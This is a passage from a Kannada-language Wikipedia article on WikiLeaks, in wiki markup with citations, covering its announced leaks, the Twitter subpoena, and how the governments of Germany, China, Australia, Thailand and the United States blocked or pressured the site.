ಮಾಡುವಿಕೆ, ಮತ್ತು ನಿರಾಶೆ ಮುಂತಾದ ಪ್ರತಿಕ್ರಿಯೆಗಳು ಬಂದಿವೆ. 14 ಡಿಸೆಂಬರ್ 2010ರಂದು ಅಮೇರಿಕಾದ ನ್ಯಾಯಾಂಗ ಇಲಾಖೆಯು ವಿಕಿಲೀಕ್ಸ್‌ ಜೊತೆ ಸಂಬಂಧವಿರುವಂತೆ ದೃಢೀಕರಣ ನೀಡುವಂತೆ ಟ್ವಿಟ್ಟರ್‌ಗೆ ಸಮನ್ಸ್ ನೀಡಿತು.<ref>{{cite web |url=http://www.salon.com/news/opinion/glenn_greenwald/2011/01/07/twitter/subpoena.pdf |title=Twitter Subpoena |publisher=Salon |accessdate=10 January 2011}}</ref> ಟ್ವಿಟ್ಟರ್‌ ತನ್ನ ಬಳಕೆದಾರರಿಗೆ ಮನವರಿಕೆ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು.<ref>{{cite news |url=https://www.theguardian.com/media/2011/jan/08/us-twitter-hand-icelandic-wikileaks-messages |title=Icelandic MP fights US demand for her Twitter account details |publisher=[[The Guardian]] |author=Rushe, Dominic |date=8 January 2011 |accessdate=10 January 2011}}</ref> ಕೇಬಲ್‌ನಿಂದ ಸೋರಿಕೆಯಾದ ಸುದ್ಧಿಯಾದ ಭ್ರಷ್ಟಾಚಾರದ ಪರಿಣಾಮವಾಗಿ ಟ್ಯುನೀಶಿಯಾದಲ್ಲಿ ಅಧ್ಯಕ್ಷರ ಪದಚ್ಯುತಿಗೆ ಕಾರಣವಾಯಿತು.<ref>{{cite news |url=https://www.theguardian.com/commentisfree/2011/jan/13/tunisia-youth-revolution |title=Tunisia's youth finally has revolution on its mind |work=The Guardian |author=Sam |date=13 January 2011 |accessdate=20 January 2011}}</ref><ref>{{cite news |url=http://www.dailymail.co.uk/news/article-1347336/Tunisia-riots-blamed-cables-revealed-countrys-corruption-dubbed-First-Wikileaks-Revolution.html?ito=feeds-newsxml |title='First Wikileaks Revolution': Tunisia descends into anarchy as president flees after cables reveal country's corruption |work=The Daily Mail |date=15 January 2011 |accessdate=20 January 2011}}</ref><ref>{{cite news |url=http://wikileaks.foreignpolicy.com/posts/2011/01/13/wikileaks_and_the_tunisia_protests?sms_ss=twitter&at_xt=4d2ffe4d9c2649d7,1 |title=The First WikiLeaks Revolution? |author=Dickinson, Elizabeth |date=13 January 2011 |work=ForeignPolicy.com |accessdate=20 January 2011 |archive-date=9 ಫೆಬ್ರವರಿ 2014 |archive-url=https://web.archive.org/web/20140209174447/http://wikileaks.foreignpolicy.com/posts/2011/01/13/wikileaks_and_the_tunisia_protests?sms_ss=twitter&at_xt=4d2ffe4d9c2649d7%2C1 |url-status=dead }}</ref> ===ಮುಂಬರುವ ಲೀಕ್ಸ್‌ಗಳು=== ಮೇ 2010ರಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ 'ತನ್ನ ಬಳಿ ಅಫಘಾನಿಸ್ಥಾನದಲ್ಲಿ ಅಮೇರಿಕಾದ ಸೈನಿಕರಿಂದ ಕಗ್ಗೋಲೆಯಾದ ನಾಗರೀಕರ ಚಿತ್ರಿಕರಣವಿದೆ ಅದನ್ನು ಸದ್ಯದಲ್ಲಿಯೇ ಪ್ರಕಟಿಸಲಾಗುವುದು' ಎಂದು ಹೇಳಿಕೆ ನೀಡಿತು.<ref name="campbell">{{cite news |url=http://www.timesonline.co.uk/tol/news/world/us_and_americas/article7094234.ece |title=Whistleblowers on US ‘massacre’ fear CIA stalkers |date=11 April 2010 |work=The Sunday Times |location=UK |author=Matthew Campbell |location=London |accessdate=12 December 2010}}</ref><ref>{{cite news |title=WikiLeaks works to expose government secrets, but Web site's sources are a mystery |first=Joby |last=Warrick |work=The Washington Post |date=19 May 2010 |url=http://www.washingtonpost.com/wp-dyn/content/article/2010/05/19/AR2010051905333.html |accessdate=21 May 2010}}</ref> ಜುಲೈ 19,2010ರಲ್ಲಿ ಕ್ರಿಸ್ ಅಂಡರ್ಸನ್‌ರಿಗೆ ನೀಡಿದ ಸಂದರ್ಶನವೊಂದರಲ್ಲಿ ಅಸ್ಸೆಂಜ್‌ರವರು ಅಲ್ಬೇನಿಯಾದ ತೈಲಕಂಪನಿಯ ದಾಖಲೆಯೊಂದನ್ನು ತೋರಿಸಿ ಅವರು ಬಿ.ಪಿ.ಯೊಳಗಿನ ಸಾಮಗ್ರಿಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ, ಮತ್ತು ಒಳ್ಳೆಯ ಕೊಳವೆಯನ್ನು ಹೊಂದಿದ್ದು ಅಘಾದ ಪ್ರಮಾಣದಲ್ಲಿ ಬೀಸುವ ಗಾಳಿಯನ್ನೂ ಕೂಡ ಹೊಂದಿದ್ದಾರೆ. ಆದರೆ ತಮ್ಮಲ್ಲಿ ಸಾಕಷ್ಟು ಪತ್ರಕರ್ತರ ಬಲವಿಲ್ಲದೇ ಹೊಗಿದ್ದರಿಂದ ಆ ವಿಷಯವನ್ನು ಪರಿಶೀಲಿಸಿ ಪ್ರಕಟಿಸಲು ಸಾಧ್ಯವಾಗಿಲ್ಲ ಎಂದಿದ್ದಾರೆ.<ref>{{cite video|title=Julian Assange: Why the world needs WikiLeaks|people=[[Chris Anderson (entrepreneur)|Chris Anderson]]|publisher=[[TED (conference)|TED]]|time=11:28|quote=November last year ... well blowouts in Albania ... Have you had information from inside BP? Yeah, we have a lot ... |url=http://www.ted.com/talks/julian_assange_why_the_world_needs_wikileaks.html|date=July 2010|medium=Videotape|ref=Assange2010ted|accessdate=2 August 2010}}</ref><ref>{{cite news |first=Richard |last=Galant |url=http://edition.cnn.com/2010/TECH/web/07/16/wikileaks.disclosures/ |title=WikiLeaks founder: Site getting tons of 'high caliber' disclosures - CNN.com |publisher=CNN |date=16 July 2010 |accessdate=1 August 2010}}</ref> ಅಕ್ಟೋಬರ್ 2010ರಲ್ಲಿ ಅಸ್ಸೆಂಜ್‌ರವರು ಮಾಸ್ಕೋ ಸುದ್ದಿಪತ್ರಿಗೆ ನೀಡಿದ ಹೇಳಿಕೆಯಂತೆ ರಷ್ಯಾದ ಕ್ರಿಮ್ಲಿನ್ ಕೋಟೆಯು ಒಳ್ಳೆಯ ಭದ್ರತೆಯನ್ನು ಹೊಂದಿದೆ ಆದರೆ ಮುಂದಿನ ವಿಕಿಲೀಕ್ಸ್‌ ಅಲೆಗಳು ಅವುಗಳನ್ನು ಪ್ರಕಟಿಸಲಿದ್ದೇವೆ.<ref>{{cite news |url=http://www.dailymail.co.uk/news/article-1329561/Wikileaks-Russian-corruption-expose-plan-linked-Alexander-Lebedev-bank-raid.html |title=Bank raid could have been warning against planned WikiLeaks Russian corruption expose says Alexander Lebedev |first1=Glen |last1=Owen |first2=Will |last2=Stewart |date=14 November 2010 |newspaper=[[Mail Online]] |accessdate=28 November 2010}}</ref><ref>{{cite web |first=Fred |last=Weir |url=http://www.csmonitor.com/World/Europe/2010/1026/WikiLeaks-ready-to-drop-a-bombshell-on-Russia.-But-will-Russians-get-to-read-about-it |title=WikiLeaks ready to drop a bombshell on Russia. But will Russians get to read about it? |publisher=The Christian Science Monitor |date=26 October 2010 |accessdate=29 November 2010}}</ref> ಅಸ್ಸೆಂಜ್‌ರವರು ಮುಂದುವರೆಯುತ್ತಾ ನಾವು ರಷ್ಯಾದ ಬಹಳಷ್ಟು ದಾಖಲೆಗಳನ್ನು ಹೊಂದಿದ್ದೇವೆ. ಆದರೆ ನಾವು ಕೇವಲ ರಷ್ಯಾದ ಮೇಲೆ ಲಕ್ಷ್ಯ ಹರಿಸುತ್ತಿದ್ದೇವೆ ಎಂಬುದು ನಿಜವಲ್ಲ.<ref name="Forbes">{{cite news |title=An Interview With WikiLeaks’ Julian Assange |first=Andy |last=Greenberg |newspaper=Forbes |date=29 November 2010 |url=http://blogs.forbes.com/andygreenberg/2010/11/29/an-interview-with-wikileaks-julian-assange/2/ |accessdate=1 December 2010}}</ref> 2009ರಲ್ಲಿ ''ಕಂಪ್ಯೂಟರ್ ವಲ್ಡ್'' ಸಂದರ್ಶನದಲ್ಲಿ ಅಸ್ಸೆಂಜ್ ರವರು ತಮಗೆ ಬ್ಯಾಂಕ್ ಅಮೇರಿಕಾದಲ್ಲಿ 5ಜಿ.ಬಿ. ಸ್ಥಳಾವಕಾಶಗಳನ್ನು ಕೇಳಿದ್ದಾರೆ. 2010ರಲ್ಲಿ ಅವರು ''ಫೋಬ್ಸ್'' ನಿಯತಕಾಲಿಕ್ಕೆ ನೀಡಿದ ಹೇಳಿಕೆಯಲ್ಲಿ "ಲೀಕ್ಸ್ ಸಧ್ಯದಲ್ಲಿಯೇ 2011ರ ಪ್ರಾರಂಭದಲ್ಲಿ ಒಂದು ಖಾಸಗಿ ಕ್ಷೇತ್ರದ ಒಂದು "ಮೆಗಾಲೀಕ್ಸ್" ಬಿಡುಗಡೆ ಮಾಡಲಿದ್ದು, ಅದು ಅಮೇರಿಕಾದ ಒಂದು ದೊಡ್ಡ ಹಣಕಾಸು ಸಂಸ್ಥೆಯ ದೊಡ್ಡ ಭ್ರಷ್ಟಾಚಾರದ ಕಂತೆಯನ್ನೇ ಬಿಡುಗಡೆ ಮಾಡಲಿದೆ" ಎಂದು ಹೇಳಿದ್ದರು. ಬ್ಯಾಂಕ್ ಆಪ್ ಅಮೇರಿಕಾದ ಶೇರು ಮೌಲ್ಯ ಶೇ.3ರಷ್ಟು ಕುಸಿದಿವೆ.<ref name="bankofamerica2">{{cite news |first=Mark |last=Memmott |title=Bank Of America Stock Steadies After WikiLeaks-Related Drop |url=http://www.npr.org/blogs/thetwo-way/2010/12/01/131727190/bank-of-america-stock-steadies-after-wikileaks-related-drop |accessdate=2 December 2010 |newspaper=NPR |date=1 December 2010}}</ref><ref name="bankofamerica1">{{cite news |title=Bank of America rumored to be in WikiLeaks’ crosshairs |first=Rick |last=Rothacker |newspaper=[[Boston Herald]] |url=http://news.bostonherald.com/business/general/view.bg?articleid=1299995 |date=1 December 2010 |accessdate=1 December 2010 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಇದರ ಬಿಡುಗಡೆಯಿಂದ ಕನಿಷ್ಟ 2 ಬ್ಯಾಂಕ್‌ಗಳು ಇಳಿಮುಖ ಸಾಧನೆಯೆಗೆ ಸಾಗಲಿವೆ ಎಂದು ಅಭಿಪ್ರಾಯ ಪಟ್ಟಿದ್ದಾರೆ.<ref name="bankofamerica3">{{cite news |last=De La Merced |first=Michael |title=WikiLeaks’ Next Target: Bank of America? |url=http://dealbook.nytimes.com/2010/11/30/wikileaks-next-target-bank-of-america/ |accessdate=2 December 2010 |newspaper=The New York Times |date=30 November 2010}}</ref><ref>{{cite news |first=John |last=Carney |url=http://www.cnbc.com/id/40471184/ |title=Bank of America's Risky WikiLeaks Strategy |publisher=CNBC |date=2 December 2010 |accessdate=5 December 2010}}</ref> ಡಿಸೆಂಬರ್ 2010ರಲ್ಲಿ ಅಸ್ಸೆಂಜ್‌ರವರ ವಕೀಲರಾದ ಮಾರ್ಕ್ ಸ್ಟಿಪನ್ಸ್‌ರವರು ಬಿ.ಬಿ.ಸಿಯ '''ದಿ ಆ‍ಯ್‌೦ಡ್ರೂ ಮಾರ್ ಶೋ'' ' ದಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್‌ ಇದನ್ನು 'ಉಷ್ಣ ಪರಮಾಣು ಯಂತ್ರವಾಗಿದ್ದು ಒಂದು ವೇಳೆ ಸಂಸ್ಥೆಯು ತನ್ನನ್ನು ತಾನು ವಕಾಲತು ಮಾಡಿಕೊಳ್ಳುವ ಸಂದರ್ಭ ಬಂದಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳಿಸುವುದು ಎಂದು ಹೇಳಿದ್ದಾರೆ.<ref>{{cite news |url=http://www.bbc.co.uk/news/world-europe-11921080 |title=Wikileaks' Julian Assange to fight Swedish allegations |publisher=BBC |date=5 December 2010 |accessdate=5 December 2010}}</ref> ಜನವರಿ 2011ರಲ್ಲಿ ಮಾಜಿ ಸ್ವಿಸ್‌ ಬ್ಯಾಂಕರ್ ಆದ ರುಢಾಲ್ಫ್ ಎಲ್ಮರ್ ಅವರು 2000 ಪ್ರಖ್ಯಾತರಾದವರ ಖಾತೆ ಮಾಹಿತಿಯನ್ನು ಅಸ್ಸೆಂಜ್‌ರವರಿಗೆ ವರ್ಗಾಯಿಸಿದರು. ಸಾರ್ವಜನಿಕರಿಗೆ ಪ್ರಕಟಿಸುವ ಮೊದಲು ಮಾಹಿತಿಗಳನ್ನು ಪರಾಮರ್ಶಿಸಲಾಗುವುದು ಎಂದು ಹೇಳಿದ್ದಾರೆ.<ref>{{cite news |title=Wikileaks given data on Swiss bank accounts |url=http://www.bbc.co.uk/news/business-12205690 |newspaper=[[BBC News]] |date=17 January 2011 |accessdate=17 January 2011}}</ref> == ಹಿನ್ನಡೆ ಮತ್ತು ಒತ್ತಡ == ===ಸರ್ಕಾರಗಳು=== ====ಜರ್ಮನಿ==== ಜರ್ಮನ್ ವಿಕಿಲೀಕ್ಸ್ ಆದ wikileaks.de ಡೊಮೇನ್ ಹೆಸರನ್ನು ನೋಂದಾಯಿಸಿದ ಥಿಯೋಡಾರ್ ರೆಪ್ಪೆಯ ಮನೆಯ ಮೇಲೆ 24 ಮಾರ್ಚ್ 2009 ರಂದು ದಾಳಿ ಮಾಡಲಾಯಿತು. ಇದಕ್ಕೆ ಕಾರಣ ವೀಕಿಲೀಕ್ಸ್ ಆಸ್ಟ್ರೇಲಿಯನ್ ಕಮ್ಯುನಿಕೇಶನ್ಸ್ ಅಂಡ್ ಮೀಡಿಯಾ ಅಥಾರಿಟಿಯ (ACMA) ಸೆನ್ಸಾರ್‌ಶಿಪ್ ಬ್ಲ್ಯಾಕ್‌ಲಿಸ್ಟ್‌ ಅನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿತ್ತು.<ref>{{cite web|title=Hausdurchsuchung bei Inhaber der Domain wikileaks.de |language=English, translated from German |trans_title=Search of owner of the domain wikileaks.de |accessdate=21 September 2009 |url=http://www.heise.de/newsticker/Hausdurchsuchung-bei-Inhaber-der-Domain-wikileaks-de-Update--/meldung/135147 |archiveurl=http://www.translate.google.com/translate?js=y&prev=_t&hl=en&ie=UTF-8&u=http://www.heise.de/newsticker/Hausdurchsuchung-bei-Inhaber-der-Domain-wikileaks-de-Update--/meldung/135147&sl=auto&tl=en&history_state0=auto|archivedate=21 September 2009}}</ref> ಸೈಟ್ ಗೆ ಯಾವುದೇ ತೊಂದರೆ ಆಗಿರಲಿಲ್ಲ.<ref>{{cite web |url=http://www.networkworld.com/news/2009/032509-wikileaks-raided-by-german.html |title=Wikileaks raided by German police |publisher=Networkworld.com |date= |accessdate=30 April 2010 |archive-date=7 ಏಪ್ರಿಲ್ 2014 |archive-url=https://web.archive.org/web/20140407074609/http://www.networkworld.com/news/2009/032509-wikileaks-raided-by-german.html |url-status=dead }}</ref><ref>{{cite web|url=http://wikileaks.org/wiki/Police_raid_home_of_Wikileaks.de_domain_owner_over_censorship_lists |title=Police raid home of Wikileaks.de domain owner over censorship lists|publisher=wikileaks.org|archiveurl=http://mirror.wikileaks.info/wiki/Police_raid_home_of_Wikileaks.de_domain_owner_over_censorship_lists/|archivedate=24 March 2009}}</ref> ====ಪೀಪಲ್ಸ್‌ ರಿಪಬ್ಲಿಕ್‌ ಆಫ್‌ ಚೀನಾ==== ಪೀಪಲ್ಸ್‌ ರಿಪಬ್ಲಿಕ್‌ ಆಫ್‌ ಚೀನಾ ಸರ್ಕಾರವು "ವಿಕಿಲೀಕ್ಸ್" ಗೆ ಹೋಗುವ ಎಲ್ಲ ವೆಬ್‌ಸೈಟ್‌ಗಳ ಯುಆರ್‌ಎಲ್ ದಾರಿಗಳನ್ನು 2007 ರಿಂದ ತಡೆಹಿಡಿಯಲು ಪ್ರಯತ್ನಿಸಿತ್ತು, ಆದರೆ, ಎನ್‌ಕ್ರಿಪ್ಟೆಡ್ ಸಂಪರ್ಕಗಳನ್ನು ಬಳಸುವ ಮೂಲಕ ಅಥವಾ ವಿಕಿಲೀಕ್ಸ್‌ನ ಗುಪ್ತ [[ಯು.ಆರ್.ಎಲ್|ಯುಆರ್‌ಎಲ್]] ಗಳನ್ನು ಬಳಸುವ ಮೂಲಕ ಅದನ್ನು ಪ್ರವೇಶಿಸಬಹುದಾಗಿದೆ.<ref>{{cite web | author=| title=Is Wikileaks blocked by the Chinese government? | url=http://www.wikileaks.org/wiki/Wikileaks:About#Is_Wikileaks_blocked_by_the_Chinese_government.3F | publisher=WikiLeaks | year=2008 | accessdate=28 February 2008 |archiveurl = https://web.archive.org/web/20080216000537/http://www.wikileaks.org/wiki/Wikileaks:About#Is_Wikileaks_blocked_by_the_Chinese_government.3F <!-- Bot retrieved archive --> |archivedate = 16 February 2008}}</ref> ====ಆಸ್ಟ್ರೇಲಿಯಾ==== 2009 ರ ಮಾರ್ಚ್ 16 ರಂದು ಅಸ್ಟ್ರೇಲಿಯನ್ ಕಮ್ಯೂನಿಕೇಶನ್ಸ್ ಅಂಡ್ ಮೀಡಿಯಾ ಅಥಾರಿಟಿ ವಿಕಿಲೀಕ್ಸ್‌ನ್ನು ಅವರ ಪ್ರಸ್ತಾಪಿಸಲ್ಪಟ್ಟ ಕಪ್ಪುಪಟ್ಟಿಯ ಸೈಟ್‍ಗಳಿಗೆ ಸೇರಿಸಿತು. ಇದು ಯೋಜನೆಯಂತೆ ಅಂತರ್ಜಾಲವನ್ನು ನಿಯಂತ್ರಿಸುವ ಯೋಜನೆಯನ್ನು ಜಾರಿಗೆ ತಂದರೆ ಆಸ್ಟ್ರೇಲಿಯನ್ನರಿಗೆ ಈ ಸೈಟ್ ನಿರ್ಬಂಧಿತವಾಗುತ್ತದೆ.<ref>{{cite news |url=http://www.theage.com.au/news/home/technology/banned-hyperlinks-could-cost-you-11000-a-day/2009/03/17/1237054787635.html?page=fullpage#contentSwap1&page=-1/ |title=Banned hyperlinks could cost you $11,000 a day |work=The Age |location=Australia |date=16 March 2009 |accessdate=16 March 2009 | location=Melbourne | first=Asher | last=Moses}}</ref><ref>{{cite web |url=http://mirror.wikileaks.info/wiki/Australia_secretly_censors_Wikileaks_press_release_and_Danish_Internet_censorship_list%2C_16_Mar_2009/index.html |title=Australia secretly censors Wikileaks press release and Danish Internet censorship list, 16 Mar 2009 |publisher=Mirror.wikileaks.info |date=16 March 2009 |accessdate=17 December 2010 |archive-date=15 ಏಪ್ರಿಲ್ 2011 |archive-url=https://web.archive.org/web/20110415212707/http://mirror.wikileaks.info/wiki/Australia_secretly_censors_Wikileaks_press_release_and_Danish_Internet_censorship_list%2C_16_Mar_2009/index.html |url-status=dead }}</ref> 2010 ರ ನವೆಂಬರ್ 30 ರಂದು ಕಪ್ಪುಪಟ್ಟಿಗೆ ಸೇರಿಸಿದ್ದನ್ನು ತೆಗೆಯಲಾಯಿತು.<ref>{{cite web|last=Taylor |first=Josh |url=http://www.zdnet.com.au/wikileaks-removed-from-acma-blacklist-339307604.htm |title=Wikileaks removed from ACMA blacklist – Communications – News |publisher=Zdnet.com.au |date=17 March 2009 |accessdate=1 December 2010}}</ref> ====ಥೈಲೆಂಡ್‌‌==== ರೆಸೊಲ್ಯೂಶನ್ ಆಫ್ ದ ಎಮರ್ಜೆನ್ಸಿ ಸಿಚುವೇಶನ್ (ಸಿಆರ್ ಇಎಸ್) ಪ್ರಸ್ತುತ ವಿಕಿಲೀಕ್ಸ್ ವೆಬ್ ಸೈಟನ್ನು ಹಾಗೂ 40,000 ಕ್ಕೂ ಹೆಚ್ಚು ಇತರ ವೆಬ್ ಪೇಜ್ ಗಳನ್ನು ಥೈಲ್ಯಾಂಡಿನಲ್ಲಿ ಪರಿಷ್ಕರಿಸುತ್ತಿದೆ, ಏಕೆಂದರೆ ತುರ್ತು ಪರಿಸ್ಥಿತಿ ಆಜ್ಞೆಯು ರಾಜಕೀಯ ಅಸ್ಥಿರತೆಯ ಪರಿಣಾಮವನ್ನು ಥೈಲ್ಯಾಂಡಿನಲ್ಲಿ ವಿಧಿಸಿತು(ತುರ್ತು ಪರಿಸ್ಥಿತಿ ಆಜ್ಞೆಯು 2010 ರ ಏಪ್ರಿಲ್ ಮೊದಲಿನಲ್ಲಿ ಘೋಷಿಸಲ್ಪಟ್ಟಿತು).<ref>{{cite news|url=http://www.thaivisa.com/forum/topic/391577-thailand-blocks-access-to-wikileaks-website/ |title=Thailand blocks access to WikiLeaks website | publisher=Thai Visa|date=18 August 2010 |accessdate=25 August 2010 | location=Bangkok}}</ref><ref>{{cite news|url=http://online.wsj.com/article/SB10001424052748703824304575435170175485654.html?mod=googlenews_wsj |title=Thai Groups Denounce Website Censorship |work=The Wall Street Journal |date=17 August 2010 |accessdate=25 August 2010 | location=USA | first=Patrick | last=Barta}}</ref><ref>{{cite news|https://www.nytimes.com/2010/07/07/world/asia/07thailand.html |title=Citing Instability, Thailand Extends Emergency Decree |work=The New York Times |date=6 July 2010 |accessdate=25 August 2010 | location=USA}}</ref> ====ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ==== ವಿಕಿಲೀಕ್ಸ್ ನ ದಾರಿಯು ಪ್ರಸ್ತುತ ಅಮೇರಿಕಾ ಕಾಂಗ್ರೆಸ್ ಲೈಬ್ರರಿಯಲ್ಲಿ ತಡೆಹಿಡಿಯಲ್ಪಟ್ಟಿದೆ.<ref>{{cite web | last = Raymond | first = Matt | title = Why the Library of Congress Is Blocking Wikileaks | date = 3 December 2010 | url = http://blogs.loc.gov/loc/2010/12/why-the-library-of-congress-is-blocking-wikileaks/ | accessdate = 3 December 2010 }}</ref> 2010 ರ ಡಿಸೆಂಬರ್ 3 ರಂದು ಶ್ವೇತ ಭವನದ ಆಡಳಿತ ಕಚೇರಿ ಮತ್ತು ಮುಂಗಡಪತ್ರವು ಒಂದು ಸೂಚನೆಯನ್ನು ಕಳುಹಿಸಿ ಎಲ್ಲ ಸಂಯುಕ್ತ ಸರ್ಕಾರಗಳ ಅನಧಿಕೃತ ನೌಕರರು ಮತ್ತು ಗುತ್ತಿಗೆದಾರರು ವರ್ಗೀಕೃತ ದಾಖಲೆಗಳನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಮತ್ತು ಇತರ ವೆಬ್‌ಸೈಟ್‌ಗಳಲ್ಲಿ ಸಾರ್ವಜನಿಕವಾಗಿ ಲಭ್ಯತೆಯನ್ನು ನಿಷೇಧಿಸಿತು.<ref>{{cite news |url=http://edition.cnn.com/2010/US/12/03/wikileaks.access.warning/index.html |title=U.S. agencies warn unauthorized employees not to look at WikiLeaks |first1=David |last1=de Sola|date=4 December 2010 |publisher=CNN |accessdate=4 December 2010}}</ref> ಯುಎಸ್ ಭೂಸೇನೆ, ಸಂಯುಕ್ತ ತನಿಖಾ ವಿಭಾಗ ಮತ್ತು ನ್ಯಾಯಾಂಗ ಇಲಾಖೆಯು ವಿಕಿಲೀಕ್ಸ್ ಮತ್ತು ಅಸ್ಸಾಂಜೆ ಮೇಲೆ "ಸರ್ಕಾರಿ ಆಸ್ತಿಯನ್ನು ಕದಿಯಲು ಅವರು ಪ್ರೋತ್ಸಾಹಕ್ಕೊಳಗಾಗಿದ್ದರು ಎಂಬ ಆಧಾರದ ಮೇಲೆ" ಕ್ರಿಮಿನಲ್ ಮೊಕದ್ದಮೆ ಹೂಡಿತು. ಆದಾಗ್ಯೂ ಮಾಜಿ ವಕೀಲರ ಪ್ರಕಾರ ಹೀಗೆ ಮಾಡುವುದು ಅತ್ಯಂತ ಕಷ್ಟಕರವಾಗಬಹುದು.<ref name="nakashima" /><ref>{{cite news |title=Prosecutors Eye WikiLeaks Charges |url=http://online.wsj.com/article/NA_WSJ_PUB:SB10001424052748704488404575441673460880204.html |work=The Wall Street Journal |date=21 August 2010 |accessdate=21 August 2010 |first1=Adam |last1=Entous |first2=Evan |last2=Perez |archive-date=21 ಆಗಸ್ಟ್ 2010 |archive-url=https://web.archive.org/web/20100821062011/http://online.wsj.com/article/NA_WSJ_PUB:SB10001424052748704488404575441673460880204.html |url-status=dead }}</ref> ಡೇಲಿ ಬೀಸ್ಟ್ ವೆಬ್ ಸೈಟ್ ವರದಿಯ ಪ್ರಕಾರ, ಒಬಾಮಾ ಆಡಳಿತವು ಬ್ರಿಟನ್, ಜರ್ಮನಿ ಮತ್ತು ಆಸ್ಟ್ರೇಲಿಯಾ ಸೇರಿದಂತೆ ಇತರರು ಕೂಡ ಅಸ್ಸಾಂಜೆ ವಿರುದ್ಧ ಅಪ್ಘಾನ್ ಯುದ್ಧ ಬಹಿರಂಗ ಮತ್ತು ಅಸ್ಸಾಂಜೆ ಅವರು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಗಡಿಗಳಲ್ಲಿ ಪ್ರಯಾಣಿಸುವುದನ್ನು ನಿಗಧಿತಗೊಳಿಸಲು ಸಹಾಯ ಮಾಡುವಂತೆ ಕ್ರಿಮಿನಲ್ ಮೊಕದ್ದಮೆ ಹೂಡಲು ನಿರ್ಧರಿಸಬೇಕು ಎಂದು ಕೋರಿತು.<ref>{{cite web|last=Shenon|first=Philip|title=U.S. Urges Allies to Crack Down on WikiLeaks|url=http://www.thedailybeast.com/blogs-and-stories/2010-08-10/a-western-crackdown-on-wikileaks/|publisher=The Daily Beast|accessdate=10 August 2010}}</ref> ಅಮೇರಿಕಾ ರಾಜ್ಯ ಇಲಾಖೆಯು ಒಂದು ಇಮೇಲ್ ಮೂಲಕ ಸಂಪರ್ಕ ಮಾಡಿ, ವಿಕಿಲೀಕ್ಸ್ ನಿಂದ ಬಹಿರಂಗಗೊಳಿಸಲ್ಪಟ್ಟ ರಾಜತಾಂತ್ರಿಕ ಸೂಕ್ಷ್ಮತಂತಿಗಳು "ಈಗಲೂ ವರ್ಗೀಕೃತ ಎಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿದೆ" ಎಂದು ತಿಳಿಸಿದೆ ಮತ್ತು ಆ ದಾಖಲೆಗಳ ಕುರಿತು ಆನ್‌ಲೈನ್‌ನಲ್ಲಿ ಚರ್ಚೆ ಮಾಡುವುದು ನೀವು ಗುಪ್ತ ಮಾಹಿತಿಯನ್ನು ಹೇಗೆ ನಿರ್ವಹಿಸುತ್ತೀರಿ ಎಂಬುದರ ಬಗ್ಗೆ ನಿಮ್ಮ ಸಾಮರ್ಥ್ಯವನ್ನು ಪರೀಕ್ಷಿಸುತ್ತದೆ ಎಂದು ಕೊಲಂಬಿಯಾ ವಿಶ್ವವಿದ್ಯಾಲಯದ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಅವರ ಭವಿಷ್ಯ ಸೇವಾ ಕಚೇರಿಯು ಎಚ್ಚರಿಸಿತು.<ref name="Associated Press">{{cite web |author=Associated Press |url=http://online.wsj.com/article/APd6c9cea546a949fba6a603f7a7f578fb.html |title=Columbia U diplomacy students warned about cables - WSJ.com |publisher=Online.wsj.com |date=4 December 2010 |accessdate=18 December 2010 |archive-date=8 ಡಿಸೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101208033605/http://online.wsj.com/article/APd6c9cea546a949fba6a603f7a7f578fb.html |url-status=dead }}</ref><ref name="Associated Press"/> ಅಮೇರಿಕಾದ ಎಲ್ಲ ಸಂಯುಕ್ತ ಸರ್ಕಾರಗಳ ಸಿಬ್ಬಂದಿ ವಿಕಿಲೀಕ್ಸ್ ನೋಡುವುದರಿಂದ ಪ್ರತಿಬಂಧಿಸಲ್ಪಟ್ಟರು.<ref>{{cite web|author=Ewen MacAskill in Washington |url=https://www.theguardian.com/world/2010/dec/03/wikileaks-cables-blocks-access-federal |title=US blocks access to WikiLeaks for federal workers &#124; World news &#124; guardian.co.uk |publisher=Guardian |date= |accessdate=18 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್‌ನ ಪ್ರವೇಶಕ್ಕೆ ಸರ್ಕಾರಿ ಗಣಕಯಂತ್ರಗಳು ಹಾಗೂ ಇತರ ಸರ್ಕಾರಿ ಸಾಧನಗಳಲ್ಲಿ ಹೇರಲ್ಪಟ್ಟ ನಿಷೇಧವು ಅವರ ಕೆಲಸಕ್ಕೆ ತೊಂದರೆಯನ್ನುಂಟು ಮಾಡುತ್ತಿವೆ; "ಸಂಯುಕ್ತ ಕೆಲಸಗಾರರನ್ನು ಜಗತ್ತಿನೆಲ್ಲೆಡೆ ಓದಲ್ಪಟ್ಟು ಮತ್ತು ಪರಿಶೀಲಿಸಲ್ಪಡುತ್ತಿರುವುದರಿಂದ ಕತ್ತಲೆಯಲ್ಲಿಟ್ಟರೆ ಇನ್ನೂ ಹೆಚ್ಚಿನ ಸಮಸ್ಯೆಗಳು ಉಂಟಾಗಬಹುದು" ಎಂದು ಕೆಲವು ಡಿಪಾರ್ಟ್‌ಮೆಂಟ್ ಆಫ್ ಹೋಮ್ ಲ್ಯಾಂಡ್ ಸೆಕ್ಯುರಿಟಿಗಳು ಹೇಳಿದವು. ಈ ನಿಷೇಧವು ವೈಯಕ್ತಿಕ ಗಣಕಯಂತ್ರಗಳನ್ನು ಕೂಡ ಸ್ಪಷ್ಟವಾಗಿ ಅನ್ವಯಿಸುತ್ತದೆ ಎಂದು ಹೇಳಿದರು.<ref>{{cite web|author=Ewen MacAskill in Washington |url=https://www.theguardian.com/world/2010/dec/10/us-ban-staff-wikileaks-official |title=Ban on federal staff reading WikiLeaks hampering work, says US official &#124; World news |publisher=The Guardian |date= |accessdate=18 December 2010}}</ref> ====ಐಸ್ಲ್ಯಾಂಡ್==== 2007 ರ ವೈಮಾನಿಕ ದಾಳಿಯ 